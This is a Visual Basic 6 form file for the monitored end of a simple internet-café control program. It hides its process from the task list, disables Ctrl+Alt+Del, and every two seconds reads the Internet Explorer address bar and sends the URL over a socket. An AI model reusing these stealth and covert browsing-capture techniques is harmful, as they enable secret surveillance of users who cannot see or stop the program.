seeksever.frm

简单网吧控制软件

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Sever 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "被监控端使用"
   ClientHeight    =   630
   ClientLeft      =   45
   ClientTop       =   330
   ClientWidth     =   3060
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   630
   ScaleWidth      =   3060
   StartUpPosition =   3  '窗口缺省
   WindowState     =   1  'Minimized
   Begin VB.Timer TimGetURL 
      Interval        =   2000
      Left            =   315
      Top             =   120
   End
   Begin MSWinsockLib.Winsock SeekSever 
      Left            =   120
      Top             =   720
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
End
Attribute VB_Name = "Sever"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByRef lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Private Const WM_GETTEXT = &HD
Private Const WM_GETTEXTLENGTH = &HE
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0
Private Const SPI_SCREENSAVERRUNNING = 97

Private Sub Form_Load()
 Dim Pid As Long
 Dim Regserv As Long
  Pid = GetCurrentProcessId()
  Regserv = RegisterServiceProcess(Pid, RSP_SIMPLE_SERVICE)
  SystemParametersInfo SPI_SCREENSAVERRUNNING, True, ByVal 1&, 0
  SeekSever.RemoteHost = SeekSever.LocalIP
  SeekSever.RemotePort = 1998
  SeekSever.LocalPort = 1999
  SeekSever.Connect
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
    Dim Pid As Long
    Dim Regserv As Long
    SystemParametersInfo SPI_SCREENSAVERRUNNING, False, ByVal 1&, 0
    Pid = GetCurrentProcessId()
    Regserv = RegisterServiceProcess(Pid, RSP_UNREGISTER_SERVICE)
    SeekSever.Close
End Sub

Private Sub TimGetURL_Timer()
 On Error GoTo CallErrorA
  Dim strData As String
  Dim sClassName As String
  Dim lhwnd As Long
  Dim WindowHandle As Long
  Dim Ready As Boolean
   lhwnd = 0
   sClassName = ("IEFrame")
   lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
   sClassName = ("WorkerA")
   lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
   sClassName = ("ReBarWindow32")
   lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
   sClassName = ("ComboBoxEx32")
   lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
   sClassName = ("ComboBox")
   lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
   sClassName = ("Edit")
   lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString)
        WindowHandle = lhwnd
        Dim Buffer As String
        Dim TextLength As Long
        TextLength = SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0&, 0&)
        Buffer = String(TextLength, 0)
        Call SendMessageByString(WindowHandle, WM_GETTEXT, TextLength + 1, Buffer)
        If Buffer <> "" Then Ready = True
        If Ready And Right(Buffer, 1) = "/" Then SeekSever.SendData (Buffer)
   Exit Sub
CallErrorA:
    MsgBox Err.Number & Err.Description & "还要增加容错处理能力"
    Err.Clear
    TimGetURL.Enabled = False
End Sub